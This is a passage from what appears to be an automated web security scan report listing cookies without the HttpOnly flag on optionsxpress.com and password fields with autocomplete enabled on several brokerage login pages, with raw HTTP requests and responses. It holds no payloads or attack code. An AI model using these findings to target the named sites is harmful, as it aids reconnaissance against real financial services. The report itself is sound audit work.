10.109. http://www.optionsxpress.com/images/promos/kiplingerBg.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/kiplingerBg.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=A384F4AE4CB576BE96F6A394642C1659; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.110. http://www.optionsxpress.com/images/promos/mainBottom.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/mainBottom.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=1C23A7D04D74A4E06208FF87FAE51FA5; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.111. http://www.optionsxpress.com/images/promos/toolsIcons.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/toolsIcons.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=F0BBCF5640548A4582D4D091C08D7EEB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.112. http://www.optionsxpress.com/images/promos/whiteboard_sales_lp.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/whiteboard_sales_lp.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=52B8D84540D59FC59A4222A431C2EF7C; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.113. http://www.optionsxpress.com/images/ui/ui-bg_glass_65_ffffff_1x400.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/ui/ui-bg_glass_65_ffffff_1x400.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=6B7B91FF4BEF93129C8300900562EEEA; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.114. http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_0b457d_1x100.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/ui/ui-bg_highlight-soft_50_0b457d_1x100.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=8A4FC8934AA82ABB3628E1AE3BB7B02A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.115. http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_125697_1x100.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/ui/ui-bg_highlight-soft_50_125697_1x100.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=AAB5420D4DEFA11E2D23D3B00A9C5FCC; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.116. http://www.optionsxpress.com/images/welcome/home/log_out.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/welcome/home/log_out.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=B7B8CAE441A79F28A820CD92711B9316; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=B7B8CAE441A79F28A820CD92711B9316; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

10.117. http://www.optionsxpress.com/images/welcome/home/open_account_4.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/welcome/home/open_account_4.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=33DB87124BC0F05E3333A1912CEC33AA; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.118. http://www.optionsxpress.com/inc/css/fonts.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/fonts.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=D8D6708B4FD4951D7D49549B550A7D35; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.119. http://www.optionsxpress.com/inc/css/nav.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/nav.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=EF6A174C4F8A82EC6AAA8D88589E4FD2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=EF6A174C4F8A82EC6AAA8D88589E4FD2; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:39 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

10.120. http://www.optionsxpress.com/inc/css/print.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/print.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=FBF0413E4A3D95D87425BCBE085769C7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.121. http://www.optionsxpress.com/inc/css/screen.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/screen.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=DACC901F4112EE44A3EEF6BEA615CEAA; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.122. http://www.optionsxpress.com/inc/css/styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/styles.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=7C8B1C7F4AFB6F7AAC1E08B8CCC82FA9; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.123. http://www.optionsxpress.com/inc/css/ui.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/ui.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.124. http://www.optionsxpress.com/inc/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/general.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=1F7A609F4712C324D98618822A48CA7B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Content-Length: 353785
Content-Type: application/x-javascript
Last-Modified: Tue, 31 May 2011 14:21:06 GMT
Accept-Ranges: bytes
ETag: "5ccde7fa9d1fcc1:1c1f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=1F7A609F4712C324D98618822A48CA7B; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:38 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

// SV 5/16/08 cdn_path is the url of the akamai servers. this checks to see if the cdn_path is defined on the page, and if not assignes it a value of null
try {
   if(cdn_path) {
       // do nothing
   }
...[SNIP]...

10.125. http://www.optionsxpress.com/inc/js/library.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/library.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=160C0A0240749D5BBE2BCAB62A01C888; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.126. http://www.optionsxpress.com/inc/js/stats.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/stats.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=A8A1FAB14569D172B2EDD88EE7023B03; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.127. http://www.optionsxpress.com/inc/js/xpress.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/xpress.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=84BED26B483FAA99856E1BA65F2756BD; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.128. http://www.optionsxpress.com/index.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/index.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=107E93BD465512E40B5A70B74A34183A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19223
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=107E93BD465512E40B5A70B74A34183A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:43 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

10.129. http://www.optionsxpress.com/our_products/futures.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/futures.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=6440376E42918CD8B2CA6C93434774A7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/futures.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.130. http://www.optionsxpress.com/our_products/more_choices.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/more_choices.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=D25B11E6448CFB6AF7D08BAD666AE1C0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/more_choices.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.131. http://www.optionsxpress.com/our_products/options.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/options.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=F0AB4137413D5F1C754265B218B191B8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/options.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.132. http://www.optionsxpress.com/our_products/stocks.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/stocks.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=61C1D4C340663C2F694DFDB17219CAA8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/stocks.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.133. http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/promos/experience_an_options_specialist.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=DF3642BF4CCA46E3BCB4B2AC904A07B2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.134. http://www.optionsxpress.com/promos/none previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/promos/none

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=D05DC917430831B031060D84F9F27197; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=D05DC917430831B031060D84F9F27197; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:45 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

10.135. http://www.optionsxpress.com/security_risks/disclosures.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/disclosures.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=FED853FE416DB0F03FEDDCB469A9145C; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/disclosures.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.136. http://www.optionsxpress.com/security_risks/docs/privacy.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/docs/privacy.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=4C2659034820370B6A9DFB9CB9AA0744; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/docs/privacy.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.137. http://www.optionsxpress.com/security_risks/financial_statement.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/financial_statement.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=65005755437004387D7FFBBE530F7372; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/financial_statement.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.138. http://www.optionsxpress.com/security_risks/risks_policies.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/risks_policies.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=DB249C1A430D3C4503D85E86687565CD; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/risks_policies.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.139. http://www.optionsxpress.com/security_risks/security_center.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/security_center.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=E2BEAFED437171EB820D4E98385DB156; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/security_center.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.140. http://www.optionsxpress.com/tools_research/ox_mobile.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/tools_research/ox_mobile.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=FD7A328447D092AF8488C6A5531FE92B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tools_research/ox_mobile.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.141. http://www.optionsxpress.com/tools_research/powerful_tools.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/tools_research/powerful_tools.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=2E2574AB41F5BC605C9F9897C3432558; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tools_research/powerful_tools.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.142. http://www.optionsxpress.com/tools_research/xtend_2.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/tools_research/xtend_2.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=3E3E48CF4431C4E5425025B2B98DADD9; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tools_research/xtend_2.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.143. http://www.optionsxpress.com/what_we_offer/free_account_transfers.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/what_we_offer/free_account_transfers.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=ECD9E2464BC899B5DEA91BB4AFEB72A7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /what_we_offer/free_account_transfers.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.144. http://www.optionsxpress.com/why_ox/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/why_ox/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=3CFE0203443873E7E1112FA21AEBCE4E; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /why_ox/ HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.145. https://www.optionsxpress.com/downloads/financial_services_guide.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/downloads/financial_services_guide.pdf

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=D480F472402E51465C012E9BFA1894F1; Path=/; Domain=.optionsxpress.com
TLTCNT=DAWEB290000000000191854

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /downloads/financial_services_guide.pdf HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.146. https://www.optionsxpress.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/login.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=1B1DD000453D0D2ED80148A6B79D7F5A; Path=/; Domain=.optionsxpress.com
TLTCNT=DAWEB230000000000085881

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /login.asp HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.147. https://www.secureclient5.ranweb.com/login/ranweb.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/login/ranweb.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ran=%7B84DFE788%2DCFC2%2D4B74%2DA728%2D228B54CE7B57%7D; path=/login

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.148. http://www.youtube.com/results previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/results

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

GEO=cfbdccd9bf80df90c1b6157efb90bfb7cwsAAAAzVVMyF3tqTmkbrQ==; path=/; domain=.youtube.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /results HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11. Password field with autocomplete enabled previous next
There are 10 instances of this issue:

https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS
https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS
https://cwt1.interactivebrokers.com/webtrader2/servlet/login
http://webstation.barchart.com/eflogin.php
https://www.barchart.com/register/realtime/
http://www.facebook.com/connect/prompt_feed.php
http://www.facebook.com/dialog/feed
http://www.futurestrading.com/log-in.html
https://www.pfgboss.com/Default.aspx
https://www.secureclient5.ranweb.com/login/ranweb.asp

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

11.1. https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/MT3G/servlet/LoginS

Issue detail

The page contains a form with the following action URL:

https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS?factor=908610638993

The form contains the following password field with autocomplete enabled:

password

Request

GET /MT3G/servlet/LoginS HTTP/1.1
Host: cwt1.interactivebrokers.com
Connection: keep-alive
Referer: http://www.interactivebrokers.com/wml/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=actiongetProps=getProps&language=en&propFile=SSO_Login_v1

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:28 GMT
Server: apache
Set-Cookie: JSESSIONID=2EA6291BA2A10D71A0B1857D6237F3F8.cwt2; Path=/MT3G; Secure; HTTPOnly
Content-Length: 1000
Connection: close
Content-Type: text/html

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<link rel="stylesheet" href="../include/MT3G.css" />
<meta http-equiv="Cache-Control" content="max-age=0" />
<title>Inte
...[SNIP]...
<p>
<form action="../servlet/LoginS?factor=908610638993" method="post">

User Name:<br/>
...[SNIP]...
<br/><input type="password" size="10" maxlength="8" name="password"/><br/>
...[SNIP]...

11.2. https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/MT3G/servlet/LoginS

Issue detail

The page contains a form with the following action URL:

https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS?factor=3262996081

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:33 GMT
Server: apache
Set-Cookie: JSESSIONID=8846F36EE6A06B019614B0FEA9754790.cwt2; Path=/MT3G; Secure; HTTPOnly
Content-Length: 1010
Connection: close
Content-Type: text/html

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<link rel="stylesheet" href="../include/MT3G.css" />
<meta http-equiv="Cache-Control" content="max-age=0" />
<title>Inte
...[SNIP]...
<p>
<form action="../servlet/LoginS?factor=3262996081" method="post">

User Name:<br/>
...[SNIP]...
<br/><input type="password" size="10" maxlength="8" name="password"/><br/>
...[SNIP]...

11.3. https://cwt1.interactivebrokers.com/webtrader2/servlet/login previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/webtrader2/servlet/login

Issue detail

The page contains a form with the following action URL:

https://cwt1.interactivebrokers.com/webtrader2/servlet/authenticate?factor=78817327&skin=ibg-dark

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:54:15 GMT
Server: apache
Content-Language: en
Set-Cookie: sk=value:ibg-dark; Expires=Thu, 08-Sep-2011 22:26:56 GMT; Secure
Content-Length: 14515
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml'>

<head>

<!--
This software
...[SNIP]...
</script>
